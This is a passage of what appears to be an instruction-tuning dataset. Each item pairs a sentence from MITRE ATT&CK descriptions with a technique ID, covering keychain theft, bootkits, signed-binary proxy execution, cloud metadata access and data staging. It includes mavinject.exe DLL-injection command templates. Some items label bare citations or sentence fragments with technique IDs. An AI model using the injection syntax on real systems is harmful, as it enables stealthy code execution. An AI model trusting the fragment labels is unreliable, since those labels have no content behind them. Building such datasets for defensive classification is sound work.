malware)", "output": "T1555.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware) ### Response: T1555.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way)", "output": "T1555.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) ### Response: T1555.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory.", "output": "T1555.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. ### Response: T1555.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)", "output": "T1555.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain) ### Response: T1555.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment.", "output": "T1615", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. ### Response: T1615."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Group Policy allows for centralized management of user and computer settings in Active Directory (AD).", "output": "T1615", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Group Policy allows for centralized management of user and computer settings in Active Directory (AD). ### Response: T1615."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)", "output": "T1615", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) ### Response: T1615."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire)", "output": "T1615", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) ### Response: T1615."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.", "output": "T1615", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit. ### Response: T1615."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the booting process of a computer, firmware and various startup services are loaded before the operating system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the booting process of a computer, firmware and various startup services are loaded before the operating system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting) ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use bootkits to persist on systems.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use bootkits to persist on systems. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR).", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Mandiant M Trends 2016)", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Mandiant M Trends 2016) ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is the location of the boot loader.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is the location of the boot loader. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Lau 2011)", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Lau 2011) ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The MBR passes control of the boot process to the VBR.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The MBR passes control of the boot process to the VBR. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search connected removable media on computers they have compromised to find files of interest.", "output": "T1025", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search connected removable media on computers they have compromised to find files of interest. ### Response: T1025."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.", "output": "T1025", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. ### Response: T1025."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.", "output": "T1025", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. ### Response: T1025."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.", "output": "T1025", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media. ### Response: T1025."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.", "output": "T1116", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. ### Response: T1116."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Code Signing)", "output": "T1116", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Code Signing) ### Response: T1116."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab).", "output": "T1116", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). ### Response: T1116."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The certificates used during an operation may be created, forged, or stolen by the adversary.", "output": "T1116", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The certificates used during an operation may be created, forged, or stolen by the adversary. ### Response: T1116."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)", "output": "T1116", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) ### Response: T1116."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems.", "output": "T1116", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. ### Response: T1116."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is not used on Linux due to the decentralized nature of the platform.", "output": "T1116", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is not used on Linux due to the decentralized nature of the platform. ### Response: T1116."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", "output": "T1116", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ### Response: T1116."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse mavinject.exe to proxy execution of malicious code.", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse mavinject.exe to proxy execution of malicious code. ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject) ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PID /INJECTRUNNING", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PID /INJECTRUNNING ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject)", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>).", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)", "output": "T1218.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed) ### Response: T1218.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.", "output": "T1522", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data. ### Response: T1522."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance.", "output": "T1522", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. ### Response: T1522."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets.", "output": "T1522", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. ### Response: T1522."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)", "output": "T1522", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) ### Response: T1522."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources.", "output": "T1522", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. ### Response: T1522."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation:", "output": "T1522", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: ### Response: T1522."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RedLock Instance Metadata API 2018)", "output": "T1522", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RedLock Instance Metadata API 2018) ### Response: T1522."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.", "output": "T1522", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>. ### Response: T1522."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code.", "output": "T1093", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. ### Response: T1093."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis.", "output": "T1093", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. ### Response: T1093."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)", "output": "T1093", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017) ### Response: T1093."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may stage collected data in a central location or directory prior to Exfiltration.", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may stage collected data in a central location or directory prior to Exfiltration. ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560).", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017) ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration.", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020) ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.", "output": "T1074", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection. ### Response: T1074."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration.", "output": "T1074.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. ### Response: T1074.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560).", "output": "T1074.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). ### Response: T1074.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.", "output": "T1074.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. ### Response: T1074.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)", "output": "T1074.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021) ### Response: T1074.001."}{"instruction": 